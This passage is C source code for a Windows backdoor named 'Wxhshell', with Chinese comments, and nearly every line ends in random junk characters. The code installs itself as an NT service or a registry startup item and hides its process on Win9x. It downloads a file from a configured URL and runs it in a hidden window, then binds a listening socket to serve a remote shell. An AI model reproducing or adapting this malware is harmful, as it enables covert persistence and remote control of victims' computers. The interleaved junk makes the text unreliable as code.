ULONG InheritedFromUniqueProcessId; 0h 2MmI#
} PROCESS_BASIC_INFORMATION; [WunA,IuR
<=~'Pd-f(
PROCNTQSIP NtQueryInformationProcess; 5z:/d `P[
%gx>|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tgm(tDL
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yf^/YLLS
O[')[uo8s
HANDLE hProcess; AzBpQb*
PROCESS_BASIC_INFORMATION pbi; c6pGy%T-
S4X['0rX!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7otqGE\2
if(NULL == hInst ) return 0; d e~3:
:20k6 )
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A}n5dg0u
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AwGDy +
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j: B,K.:
2HvzMo-4
if (!NtQueryInformationProcess) return 0; O Bp/:]
%O&C\{J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C}mWX7<Z.
if(!hProcess) return 0; e%DF9}M
~;Xkt G:
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I*i$!$Bx2
4?&CK
CloseHandle(hProcess); o!t1EPJE*
-wV0Nv(V8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 38q0iAH
if(hProcess==NULL) return 0; =E%<"FB
ZZl4|
HMODULE hMod; EC|b7
char procName[255]; Z})n%l8J]p
unsigned long cbNeeded; \ \~4$Ai[
t]%!vXo
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kOuQR$9s
c)o[3o7
CloseHandle(hProcess); ]^\+B4
$JXQn
if(strstr(procName,"services")) return 1; // 以服务启动 mJ5LRpXN
OKq={l
return 0; // 注册表启动 Y_Lsmq2!
} 7QkAr
,s1n!@9
// 主模块 X{riI^(
int StartWxhshell(LPSTR lpCmdLine) <ByDT$E_
{ ?|9$o/Q}
SOCKET wsl; /L"&'~
BOOL val=TRUE; ;42D+q=s
int port=0; ;w}5:3+
struct sockaddr_in door; w]0jq
U6
gBG.3\[
if(wscfg.ws_autoins) Install(); S\UM0G}v
+nslS:(
port=atoi(lpCmdLine); I2=Kq{
Wh>Y_ k
if(port<=0) port=wscfg.ws_port; t|zLR
6Gs,-Kb:
WSADATA data; Cx/duodp
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^5~[G%G4
S. OGLLprp
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $bKa"T*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W}1h~rNy
door.sin_family = AF_INET; |KC3^
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kn9,N@bU_
door.sin_port = htons(port); CQ3{'"b
w65
$ R
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i=<(fq
closesocket(wsl); h(G(U_V-Od
return 1; G:rM_q9\u
}
'[#uf/~W
P5P<-T{-c
if(listen(wsl,2) == INVALID_SOCKET) { n1W}h@>8
closesocket(wsl); :r/rByd'
return 1; ;"nEEe]?
} HnqZ7%jeN
Wxhshell(wsl); U-s6h;^O
WSACleanup(); QrPWS-3~!
q 9pcEm4?
return 0; !J'xk
;SVF"Uo
} #UJ@P Dwil
Ve8`5
// 以NT服务方式启动 [P{Xg:0
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4"j5@bppJ
{ }H,A
T
DWORD status = 0; LVLh&9
DWORD specificError = 0xfffffff; j{P,(-
:7!/FBd
serviceStatus.dwServiceType = SERVICE_WIN32; Ahq^dx#o
serviceStatus.dwCurrentState = SERVICE_START_PENDING; #PA"l`"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6CU8BDN
serviceStatus.dwWin32ExitCode = 0; 1.H"$D>TC
serviceStatus.dwServiceSpecificExitCode = 0; Phgn|
serviceStatus.dwCheckPoint = 0; XfsCu>
serviceStatus.dwWaitHint = 0; X>|.BvY|
]3QQ"HLcp
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _L!"3
if (hServiceStatusHandle==0) return; 6<t\KMd
73.o{V
status = GetLastError(); 6v1#i
if (status!=NO_ERROR) %9NGVC
{ g}qK$>EPS
serviceStatus.dwCurrentState = SERVICE_STOPPED; xD1B50y U
serviceStatus.dwCheckPoint = 0; IW1]H~1w
serviceStatus.dwWaitHint = 0; ,?#-1uIGL>
serviceStatus.dwWin32ExitCode = status; +dh]k=6
serviceStatus.dwServiceSpecificExitCode = specificError; y_QxJ~6t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1=(i{D~
return; |$b 4{
} I(
y
Wct
` ?6m0|\@
serviceStatus.dwCurrentState = SERVICE_RUNNING; L6A6|+H%E
serviceStatus.dwCheckPoint = 0; sq)Nn&5A
serviceStatus.dwWaitHint = 0; sX_ ^H%fd
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !P92e1
} {fN_itn
TPEZ"%=Hg
// 处理NT服务事件,比如:启动、停止 iZyk2kc
VOID WINAPI NTServiceHandler(DWORD fdwControl) %r!#
{ H[Pb Wy:
switch(fdwControl) puqH%m+u
{ BkqIfV%O
case SERVICE_CONTROL_STOP: E>6zwp
serviceStatus.dwWin32ExitCode = 0; 4
|5ekwk
serviceStatus.dwCurrentState = SERVICE_STOPPED; kh,M'XbTo
serviceStatus.dwCheckPoint = 0; w6"LHy[
serviceStatus.dwWaitHint = 0; QX]tD4OH
{ WAdl@){
SetServiceStatus(hServiceStatusHandle, &serviceStatus); v}Aw!Dv/
} G+g`=7
return; Ixec]UOS
case SERVICE_CONTROL_PAUSE: }5] s+m
serviceStatus.dwCurrentState = SERVICE_PAUSED; .D>lv_kp
break; 'FUPv61()
case SERVICE_CONTROL_CONTINUE: =k/n
serviceStatus.dwCurrentState = SERVICE_RUNNING; MK[spV
break; =0]Mc$Ih
case SERVICE_CONTROL_INTERROGATE: [
$"iO#oO
break; F9+d7 Y$
}; vo(?[[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X)&Z{ V>
} wRiP 5U,
iN{TTy
// 标准应用程序主函数 h.Dk>H_G
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r?+u}uH
{ /Bwea];^Q
8DI|+`OgW
// 获取操作系统版本 *nC,=2
OsIsNt=GetOsVer(); (7wR*vO^
GetModuleFileName(NULL,ExeFile,MAX_PATH); |(H|2]b4=
S2s-TpjB<
// 从命令行安装 &S-& 'ZAY
if(strpbrk(lpCmdLine,"iI")) Install(); 0,A?*CO
O#U"c5%
// 下载执行文件 IGqmH=-
if(wscfg.ws_downexe) { s,29_z7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q.]
)yqX6
WinExec(wscfg.ws_filenam,SW_HIDE); Q:MsD.
} .6;B3
GB+d0 S4
if(!OsIsNt) { & T|-K\*
// 如果时win9x,隐藏进程并且设置为注册表启动 zg
j35
HideProc(); Ni)#tz_9
StartWxhshell(lpCmdLine); Zn} )&Xt
} ]`kvq0Gyb
else }n7e_qy4
if(StartFromService()) i|O7nB@
// 以服务方式启动 B*AMo5
StartServiceCtrlDispatcher(DispatchTable); % b&BLXW
else /uc/x+(_
// 普通方式启动 W|Tew-H{h_
StartWxhshell(lpCmdLine); #~f+F0#%?
2Ee1mbZVw8
return 0; @/u`7FO$&
}